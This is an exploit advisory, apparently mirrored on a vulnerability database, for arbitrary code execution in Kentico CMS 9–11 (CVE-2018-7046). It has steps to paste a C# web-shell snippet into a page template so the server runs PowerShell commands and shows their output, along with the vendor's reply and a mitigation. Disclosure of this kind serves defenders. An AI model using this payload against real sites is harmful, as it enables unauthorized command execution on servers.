Lucene search
K

Kentico CMS 11 Arbitrary Code Execution

🗓️ 19 Feb 2018 00:00:00Reported by Keerati T.Type 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 109 Views

Kentico CMS 11 Arbitrary Code Execution, Unauthorized Command Execution, Vendor Response, Restricted Permission

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Kentico CMS 11 Arbitrary Code Execution Vulnerability
20 Feb 201800:00
zdt
CNVD
Kentico CMS Arbitrary Code Execution Vulnerability
23 Feb 201800:00
cnvd
CVE
CVE-2018-7046
20 Feb 201815:00
cve
Cvelist
CVE-2018-7046
20 Feb 201815:00
cvelist
NVD
CVE-2018-7046
20 Feb 201815:29
nvd
Prion
Remote code execution
20 Feb 201815:29
prion
Positive Technologies
PT-2018-17865
20 Feb 201800:00
ptsecurity
`# Exploit Title: Kentico CMS version 9 through 11 - Arbitrary Code Execution  
# Date: 17-02-2018  
# Software Link: https://www.kentico.com  
# Exploit Author: Keerati T.  
# CVE: CVE-2018-7046  
# Category: webapps  
  
1. Description  
  
Kentico is the only fully integrated ASP.NET CMS, E-commerce, and Online Marketing platform that allows you to create cutting-edge websites and optimize your digital customers experiences fully across multiple channels. Kentico saves you time and resources so you can accomplish more. (Copy from Kentico homepage.)  
  
2. Proof of Concept  
  
In case of no product to install you can request Hosted Trial at https://www.kentico.com/download-demo/hosted-trial (Vendor message: Hosted trials are virtual applications running isolated and are limited by application pool permission set on server level so they should be safe as well.)  
  
2.1 Log in as administrator.  
2.2 Go to page.  
2.3 At "Edit" on left panel, select any page under site.  
2.4 Click "Template" tab locate on top right panel.  
2.5 Under "Template" tab, select "Edit template properties".  
2.6 Select "Layout" on popped "Template".  
2.7 Fill the following c# code into text box. (modified from https://github.com/samratashok/nishang/blob/master/Antak-WebShell/antak.aspx)  
================================  
<%@ Import Namespace="System.Diagnostics" %>  
<%@ Import Namespace="System.IO" %>  
<%@ Import Namespace="System.IO.Compression" %>  
<%@ Import Namespace="Microsoft.VisualBasic" %>  
ProcessStartInfo psi = new ProcessStartInfo();  
psi.FileName = "powershell.exe";  
psi.Arguments = "-noninteractive -executionpolicy bypass ipconfig";  
psi.RedirectStandardOutput = true;  
psi.UseShellExecute = false;  
Process p = Process.Start(psi);  
StreamReader stmrdr = p.StandardOutput;  
string s = stmrdr.ReadToEnd();  
Response.Write(s);  
stmrdr.Close();  
================================  
2.8 Click "Save" and see the response of issued OS commands.  
  
3. Timeline  
  
3.1 Discovery and report - 14 Feb 2018.  
3.2 Vendor response - 14 Feb 2018.  
(This is actually intended functinality and our CMS allows authenticated users to edit and update ascx code layout. However this user has to be authentication and has to have permissions for these actions in our administration interface.  
)  
3.3 CVE ID was assigned - 15 Feb 2018.  
3.4 Public - 17 Feb 2018.  
  
4. Solution  
Restricting the permission to allow only authorized user to edit ascot code layout.  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Feb 2018 00:00Current
7High risk
Vulners AI Score7
EPSS0.01977
109